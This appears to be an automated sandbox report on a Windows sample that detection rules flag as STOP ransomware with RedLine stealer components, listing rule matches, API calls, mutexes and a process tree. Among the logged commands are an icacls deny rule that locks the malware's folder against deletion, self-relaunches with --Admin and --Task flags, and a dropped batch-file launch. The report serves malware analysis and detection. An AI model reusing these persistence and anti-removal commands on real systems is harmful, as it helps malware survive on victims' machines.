Source: 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000010.00000002.1462942459.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000E.00000002.1453140675.00000000022F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.1312930012.0000000002270000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.1368339677.00000000021A4000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000E.00000002.1453085219.0000000002252000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.1312843484.00000000021D9000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000009.00000002.2535409912.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000004.00000002.1331435981.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 7816, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8012, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8084, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8104, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8112, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8168, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 3276, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe PID: 8044, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: lvAVrO.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: lvAVrO.exe.0.dr

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: lvAVrO.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: classification engine

Classification label: mal100.rans.spre.troj.spyw.evad.winEXE@30/1212@13/3

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_004093C0 DebugBreak,GetCommState,SetCalendarInfoW,GetThreadContext,OpenMutexW,SetConsoleCursorInfo,GetLastError,SetConsoleCursorInfo,DebugBreak,SetCalendarInfoW,GetPrivateProfileIntA,SetLastError,CopyFileA,GetSystemWow64DirectoryW,GetStartupInfoW,GlobalUnfix,TerminateThread,GetUserDefaultLCID,WritePrivateProfileStringA,GetNamedPipeHandleStateA,TerminateThread,GetUserDefaultLCID,WritePrivateProfileStringA,GetNamedPipeHandleStateA,LoadLibraryA,GetModuleHandleA,SetDllDirectoryW,FormatMessageA,SearchPathW,VerifyVersionInfoA,FindFirstChangeNotificationA,InterlockedExchange,GlobalUnfix,VerifyVersionInfoW,

0_2_004093C0

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Code function: 2_2_0060119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

2_2_0060119F

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_021D97C6 CreateToolhelp32Snapshot,Module32First,

0_2_021D97C6

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 4_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

4_2_0040D240

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Code function: 0_2_00408E50 GetVersionExW,SetLastError,FreeResource,VerifyVersionInfoA,EnumResourceNamesW,EnumResourceTypesW,LocalFileTimeToFileTime,GetNamedPipeHandleStateA,FindNextVolumeW,SetLocaleInfoA,GetPrivateProfileIntA,

0_2_00408E50

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\k1[1].rar

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1836:120:WilError_03
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7840

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

File created: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\74ef2ae8.bat" "

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: nahipumoraxeyur	0_2_00409610
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: 28B	0_2_00409610
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: --Admin	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: IsAutoStart	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: IsTask	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: --ForNetRes	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: IsAutoStart	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: IsTask	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: --Task	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: --AutoStart	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: --Service	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: X1P	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: --Admin	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: runas	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: x2Q	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: x*P	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: C:\Windows\	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: D:\Windows\	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: 7P	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: %username%	4_2_00419F90
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Command line argument: F:\	4_2_00419F90

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: wctC19B.tmp.8.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: wctC19B.tmp.8.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: wctC19B.tmp.8.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: wctC19B.tmp.8.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Virustotal: Detection: 89%
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	ReversingLabs: Detection: 100%

Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	String found in binary or memory: set-addPolicy
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	String found in binary or memory: id-cmc-addExtensions
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	String found in binary or memory: set-addPolicy
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	String found in binary or memory: id-cmc-addExtensions
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	String found in binary or memory: set-addPolicy
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	String found in binary or memory: id-cmc-addExtensions
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	String found in binary or memory: set-addPolicy
Source: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	String found in binary or memory: id-cmc-addExtensions

Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

File read: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe"
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\Temp\lvAVrO.exe C:\Users\user\AppData\Local\Temp\lvAVrO.exe
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe"
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe --Task
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe --Task
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7840 -s 1560
Source: unknown	Process created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\Temp\lvAVrO.exe C:\Users\user\AppData\Local\Temp\lvAVrO.exe
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\74ef2ae8.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\Temp\lvAVrO.exe C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe"	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef" /deny *S-1-1-0:(OI)(CI)(DE,DC)	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\Desktop\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --Admin IsNotAutoStart IsNotTask	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe --Task	Jump to behavior
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\Temp\lvAVrO.exe C:\Users\user\AppData\Local\Temp\lvAVrO.exe
Source: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe	Process created: C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe "C:\Users\user\AppData\Local\20238199-5792-497e-9205-1bc388c833ef\E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exe" --AutoStart
Source: C:\Users\user\AppData\Local\Temp\lvAVrO.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\74ef2ae8.bat" "

